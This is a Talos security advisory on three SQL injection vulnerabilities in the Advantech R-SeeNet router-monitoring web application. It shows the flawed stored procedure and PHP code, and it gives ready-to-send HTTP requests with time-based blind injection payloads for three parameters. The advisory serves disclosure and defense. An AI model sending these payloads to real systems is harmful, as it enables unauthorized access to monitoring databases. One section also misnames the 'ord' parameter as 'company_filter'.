

Talos Vulnerability Report

TALOS-2021-1363

Advantech R-SeeNet application multiple SQL injection vulnerabilities in the 'group_list' page

NOVEMBER 22, 2021

CVE NUMBER

CVE-2021-21915,CVE-2021-21916,CVE-2021-21917

Summary

Multiple exploitable SQL injection vulnerabilities exist in the 'group_list' page of the Advantech R-SeeNet 2.4.15 (30.07.2021). A specially-crafted HTTP request can lead to SQL injection. An attacker can make authenticated HTTP requests to trigger these vulnerabilities. This can be done as any authenticated user or through cross-site request forgery.

Tested Versions

Advantech R-SeeNet Advantech R-SeeNet 2.4.15 (30.07.2021)

Product URLs

<https://ep.advantech-bb.cz/products/software/r-seenet>

CVSSv3 Score

7.7 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Details

R-SeeNet is the software system used for monitoring Advantech routers. It continuously collects information from individual routers in the network and records the data into a SQL database.

These particular vulnerabilities exist due to misuse of prepared statements in the context of the application. Along with stored procedures, they are combined with SQL concatenation in such way that variables used to build up an SQL query, despite being initially sanitized, lose that protection when invoked against the database. An example of this can be seen in one of the stored procedures below, where the final prepared statement is simply taken from @sql variable without specific parameter bindings. This introduces a SQL injection vulnerability into the statement on line 1025 below from the original SQL file used during installation (companies.sql):

```
986 CREATE DEFINER='root'@'localhost' PROCEDURE `sp_GetGroupsCompany`(params VARCHAR(255), id INT(5))
987 BEGIN
988 SET @group_num = 0;
989 DROP TABLE IF EXISTS group_list;
990 CREATE TEMPORARY TABLE group_list ENGINE=MEMORY SELECT
991 @group_num := @group_num + 1 as group_num,
992 groups.company_id as company_id,
993 companies.name as comp_name,
994 group_id,
995 groups.description as description,
996 groups.level_limit as level_limit,
997 groups.traffic_limit as traffic_limit,
998 groups.traffic_limit_alt as traffic_limit_alt,
999 groups.traffic_limit_alt2 as traffic_limit_alt2,
1000 groups.temp_limit_lo as temp_limit_lo,
1001 groups.temp_limit_hi as temp_limit_hi,
1002 groups.volt_limit_lo as volt_limit_lo,
1003 groups.volt_limit_hi as volt_limit_hi,
1004 groups.qual_limit_lo as qual_limit_lo,
1005 groups.max_fails as max_fails,
1006 groups.max_fails_msg as max_fails_msg
1007 FROM groups LEFT JOIN companies ON groups.company_id = companies.company_id WHERE groups.company_id = id ORDER BY
groups.description;
1008 SET @sql = CONCAT('SELECT
1009 group_num,
1010 group_id,
1011 comp_name,
1012 description,
1013 level_limit,
1014 traffic_limit,
1015 traffic_limit_alt,
1016 traffic_limit_alt2,
1017 temp_limit_lo,
1018 temp_limit_hi,
1019 volt_limit_lo,
1020 volt_limit_hi,
1021 qual_limit_lo,
1022 max_fails,
1023 max_fails_msg
1024 FROM group_list WHERE "" = "" ',params);
1025 PREPARE stmt FROM @sql;
1026 EXECUTE stmt;
1027 DEALLOCATE PREPARE stmt;
1028 END$$
```

CVE-2021-21915 - 'company_filter' parameter

Parameter company_filter is set as a session variable on line 100 of group_list.php as seen below:

```

98  if(isset($_GET['company_filter']))
99  { // je nastaven filtr company
100    $_SESSION['company_filter'] = urldecode($_GET['company_filter']);
101  }

```

Following the above code, a variable is used on line 220 in the following code to build up a SQL query which will get executed on line 252:

```

218  if((isset($_SESSION['company_filter'])) && ($_SESSION['company_filter'] != ''))
219  {
220    $sql = $sql.'AND company_id = "'.mysql_real_escape_string($link,$_SESSION['company_filter']).'" ';
221  }
222  [...]
236  $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
237
238  if( is_superuser() )
239  {
240    $sql = 'call sp_GetGroupsAll(\''.$sql.'\')';
241  }
242  else if( is_admin() )
243  {
244    $sql = 'call sp_GetGroupsCompany(\''.$sql.'\'','\''.get_company_id().'\')';
245  }
246  else
247  {
248    $sql = 'call sp_GetGroupsUser(\''.$sql.'\'','\''.get_user_id().'\')';
249  }
250
251  // vykonani SQL prikazu
252  $result = db_query($link, $sql);
253

```

Example exploitation could be constructed as follows:

```

GET /r-seenet/index.php?
page=group_list&group_filter=16&description_filter=a6&company_filter=a%22%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--
%20&ord=a6&on_page=a6&count_on_page=a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]

```

CVE-2021-21916 - 'description_filter' parameter

Parameter description_filter is set as a session variable on line 95 of group_list.php as seen below:

```

92
93  if(isset($_GET['description_filter']))
94  { // je nastaven filtr name
95    $_SESSION['description_filter'] = urldecode($_GET['description_filter']);
96  }

```

Following the above code, a variable is used on line 215 in the following code to build up a SQL query which will get executed on line 252:

```

211  $sql = '';
212
213  if((isset($_SESSION['description_filter'])) && ($_SESSION['description_filter'] != ''))
214  {
215    $sql = $sql.'AND description LIKE "%'.mysql_real_escape_string($link,$_SESSION['description_filter']).'" ';
216  }
217  [...]
236  $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
237
238  if( is_superuser() )
239  {
240    $sql = 'call sp_GetGroupsAll(\''.$sql.'\')';
241  }
242  else if( is_admin() )
243  {
244    $sql = 'call sp_GetGroupsCompany(\''.$sql.'\'','\''.get_company_id().'\')';
245  }
246  else
247  {
248    $sql = 'call sp_GetGroupsUser(\''.$sql.'\'','\''.get_user_id().'\')';
249  }
250
251  // vykonani SQL prikazu
252  $result = db_query($link, $sql);
253

```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?page=group_list&group_filter=1&description_filter=a%22%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20&company_filter=a&ord=a&on_page=a&count_on_page=a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21917 - 'ord' parameter

Parameter `company_filter` is set as a session variable on line 105 of `group_list.php` as seen below:

```
103 if(isset($_GET['ord']))
104 { // je nastaven filtr firmware
105   $_SESSION['ord'] = $_GET['ord'];
106 }
107 else
```

Following the above code, a variable is used on line 225 in the following code to build up a SQL query which will get executed on line 252:

```
223 if((isset($_SESSION['ord'])) && ($_SESSION['ord'] != ''))
224 {
225   $sql = $sql.'ORDER BY '.mysqli_real_escape_string($link,$_SESSION['ord']).' ';
226 }
227 [...]
228 $sql = $sql.'LIMIT '. ((isset($_SESSION['count_on_page'])) ? $_SESSION['count_on_page'] : 1);
229
230 if( is_superadmin() )
231 {
232   $sql = 'call sp_GetGroupsAll(\''.$sql.'\')';
233 }
234 else if( is_admin() )
235 {
236   $sql = 'call sp_GetGroupsCompany(\''.$sql.'\',\''.get_company_id().'\')';
237 }
238 else
239 {
240   $sql = 'call sp_GetGroupsUser(\''.$sql.'\',\''.get_user_id().'\')';
241 }
242
243 // vykonani SQL prikazu
244 $result = db_query($link, $sql);
245
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?page=group_list&group_filter=1&description_filter=a&company_filter=a&ord=(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)&on_page=a&count_on_page=a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

Timeline

2021-08-19 - Vendor Disclosure

2021-11-16 - Vendor Patched

2021-11-22 - Public Release

CREDIT

Discovered by Yuri Kramarz of Cisco Talos.

